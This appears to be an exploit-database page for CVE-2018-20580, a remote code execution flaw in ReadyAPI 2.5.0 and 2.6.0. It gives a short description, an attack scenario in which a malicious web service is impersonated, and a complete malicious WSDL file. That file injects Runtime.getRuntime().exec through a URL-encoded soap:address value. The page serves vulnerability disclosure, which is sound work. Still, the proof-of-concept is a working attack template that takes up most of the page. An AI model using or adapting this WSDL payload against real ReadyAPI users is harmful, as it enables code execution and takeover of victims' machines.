what you don't know can hurt you

ReadyAPI 2.5.0 / 2.6.0 Remote Code Execution

ReadyAPI 2.5.0 / 2.6.0 Remote Code Execution
Posted May 6, 2019
Authored by Gilson Camelo

ReadyAPI versions 2.5.0 and 2.6.0 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-20580
MD5 | b850e885e13f005b51aa3f8d8f484a5b

ReadyAPI 2.5.0 / 2.6.0 Remote Code Execution

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<!--
# Exploit Title: ReadyAPI Remote Code Execution Vulnerability.
# Date: May, 2019
# Exploit Author: Gilson Camelo => https://twitter.com/gscamelo
# Vendor Homepage: https://smartbear.com/product/ready-api
# Software Link: https://smartbear.com/product/ready-api/overview/
# Github: https://github.com/gscamelo/CVE-2018-20580
# Version: 2.5.0 and 2.6.0
# Tested on: Windows
# CVE : CVE-2018-20580

I found a new vulnerability in the (ReadyAPI). It allows an attacker to
execute a remote code on the local machine putting in danger the ReadyAPI
users including developers, pentesters, etc...

The ReadyAPI allows users to open a SOAP project and import WSDL files that
help the users to communicate with the remote server easily.

The WSDL file owner can determine default values of some parameters. An
attacker can impersonate a legitimate web service and inject a malicious
code into a default value of one of the parameters and spread it to
ReadyAPI clients.

When a ReadyAPI client load a malicious WSDL file to his project and send a
request containing the malicious code the ReadyAPI will execute the
malicious code on the victim's computer.

The attack scenario:

An attacker impersonates a regular web service with a WSDL containing the
malicious code.
The victim creates a new project in the ReadyAPI and loads the malicious
WSDL File.
The victim decides to send a request to the remote server and the ReadyAPI
execute the malicious code.
The attacker succeeds in executing malicious code in the victim's machine
and take it over.
-->

<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/"
xmlns:tns="http://example.com/stockquote.wsdl"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
targetNamespace="http://example.com/stockquote.wsdl"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">

<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://example.com/stockquote.wsdl">
<s:element name="Malicious_Request">
<s:complexType>
<s:sequence>
<s:element name="Payload" default="PWNED" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>

</s:schema>
</wsdl:types>
<wsdl:message name="Malicious_RequestSoapIn">
<wsdl:part name="parameters" element="tns:Malicious_Request" />
</wsdl:message>

<wsdl:portType name="Exploit">
<wsdl:operation name="Malicious_Request">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Create a new xpl</wsdl:documentation>
<wsdl:input message="tns:Malicious_RequestSoapIn" />
<wsdl:output message="tns:Malicious_RequestSoapOut" />
</wsdl:operation>
</wsdl:portType>

<wsdl:binding name="Exploit" type="tns:Exploit">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" />
<wsdl:operation name="Malicious_Request">
<soap:operation soapAction="https://www.test.com.br/Malicious_Request" style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

<wsdl:service name="XPL">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">My first Exploit</wsdl:documentation>
<wsdl:port name="Exploit" binding="tns:Exploit">
<soap:address location="http%3A%2F%2F127.0.0.1%2F%24%7B%3DRuntime.getRuntime%28%29.exec%28%27calc.exe%27%29%7D%3B" />
</wsdl:port>

</wsdl:service>
</wsdl:definitions>

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